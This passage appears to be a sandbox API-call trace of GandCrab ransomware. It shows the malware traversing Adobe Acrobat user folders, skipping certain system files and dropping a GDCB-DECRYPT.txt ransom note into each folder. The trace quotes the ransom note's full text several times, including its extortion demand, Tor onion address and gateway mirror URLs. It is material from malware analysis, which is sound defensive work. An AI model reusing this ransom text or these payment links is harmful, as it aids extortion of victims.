lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5892e0 [0053.250] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.250] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.250] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.250] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.250] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.250] lstrcmpW (lpString1="Collab", lpString2=".") returned 1 [0053.250] lstrcmpW (lpString1="Collab", lpString2="..") returned 1 [0053.250] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="Collab" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab" [0053.250] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\" [0053.250] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.250] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.250] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.250] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.250] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.250] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.250] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\") returned 62 [0053.250] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*" [0053.250] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x589620 [0053.263] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.263] FindNextFileW (in: hFindFile=0x589620, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0053.263] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.263] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.263] FindNextFileW (in: hFindFile=0x589620, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0053.263] FindClose (in: hFindFile=0x589620 | out: hFindFile=0x589620) returned 1 [0053.264] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.264] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\\\GDCB-DECRYPT.txt") returned 79 [0053.264] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\collab\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0053.272] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.272] WriteFile (in: hFile=0x500, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e864, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e864*=0xad6, lpOverlapped=0x0) returned 1 [0053.273] CloseHandle (hObject=0x500) returned 1 [0053.273] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.273] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\") returned 62 [0053.273] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*" [0053.273] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5890e0 [0053.273] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.273] FindNextFileW (in: hFindFile=0x5890e0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0053.273] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.273] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.273] FindNextFileW (in: hFindFile=0x5890e0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0053.273] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.273] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.273] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\GDCB-DECRYPT.txt" [0053.273] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.274] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\GDCB-DECRYPT.txt") returned 78 [0053.274] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\GDCB-DECRYPT.txt") returned 78 [0053.274] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\GDCB-DECRYPT.txt") returned 78 [0053.274] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\GDCB-DECRYPT.txt") returned 78 [0053.274] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.274] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.274] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.274] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.274] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.274] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.274] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.274] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.274] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.274] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.274] FindNextFileW (in: hFindFile=0x5890e0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0053.274] FindClose (in: hFindFile=0x5890e0 | out: hFindFile=0x5890e0) returned 1 [0053.274] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.274] lstrcmpW (lpString1="Forms", lpString2=".") returned 1 [0053.274] lstrcmpW (lpString1="Forms", lpString2="..") returned 1 [0053.274] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="Forms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms" [0053.274] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\" [0053.274] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.274] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.274] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.274] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.274] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.274] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.275] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\") returned 61 [0053.275] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*" [0053.275] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5890e0 [0053.275] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.275] FindNextFileW (in: hFindFile=0x5890e0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0053.275] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.275] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.275] FindNextFileW (in: hFindFile=0x5890e0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0053.275] FindClose (in: hFindFile=0x5890e0 | out: hFindFile=0x5890e0) returned 1 [0053.275] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.275] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\\\GDCB-DECRYPT.txt") returned 78 [0053.275] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\forms\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0053.275] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.275] WriteFile (in: hFile=0x500, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e864, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e864*=0xad6, lpOverlapped=0x0) returned 1 [0053.276] CloseHandle (hObject=0x500) returned 1 [0053.276] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.276] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\") returned 61 [0053.276] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*" [0053.276] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5895e0 [0053.276] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.276] FindNextFileW (in: hFindFile=0x5895e0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0053.276] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.276] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.276] FindNextFileW (in: hFindFile=0x5895e0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0053.276] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.276] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.276] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\GDCB-DECRYPT.txt" [0053.277] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.277] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\GDCB-DECRYPT.txt") returned 77 [0053.277] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\GDCB-DECRYPT.txt") returned 77 [0053.277] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\GDCB-DECRYPT.txt") returned 77 [0053.277] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\GDCB-DECRYPT.txt") returned 77 [0053.277] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.277] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.277] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.277] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.277] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.277] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.277] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.277] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.277] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.277] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.277] FindNextFileW (in: hFindFile=0x5895e0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0053.277] FindClose (in: hFindFile=0x5895e0 | out: hFindFile=0x5895e0) returned 1 [0053.283] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.283] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.283] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.283] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt" [0053.283] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.283] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 71 [0053.283] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 71 [0053.283] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 71 [0053.283] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 71 [0053.283] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.283] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.283] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.283] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.283] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.283] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.283] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.284] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.284] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.284] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.284] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.284] lstrcmpW (lpString1="JSCache", lpString2=".") returned 1 [0053.284] lstrcmpW (lpString1="JSCache", lpString2="..") returned 1 [0053.284] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="JSCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache" [0053.284] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\" [0053.284] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.284] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.284] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.284] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.284] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.284] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.284] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\") returned 63 [0053.284] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*" [0053.284] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x589220 [0053.285] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.285] FindNextFileW (in: hFindFile=0x589220, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0053.285] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.285] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.285] FindNextFileW (in: hFindFile=0x589220, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0053.285] lstrcmpW (lpString1="GlobData", lpString2=".") returned 1 [0053.285] lstrcmpW (lpString1="GlobData", lpString2="..") returned 1 [0053.285] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2="GlobData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData" [0053.285] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData") returned 71 [0053.285] FindNextFileW (in: hFindFile=0x589220, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0053.285] lstrcmpW (lpString1="GlobSettings", lpString2=".") returned 1 [0053.285] lstrcmpW (lpString1="GlobSettings", lpString2="..") returned 1 [0053.285] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2="GlobSettings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings" [0053.285] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings") returned 75 [0053.285] FindNextFileW (in: hFindFile=0x589220, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0053.285] FindClose (in: hFindFile=0x589220 | out: hFindFile=0x589220) returned 1 [0053.285] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.285] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\\\GDCB-DECRYPT.txt") returned 80 [0053.285] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0053.290] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor 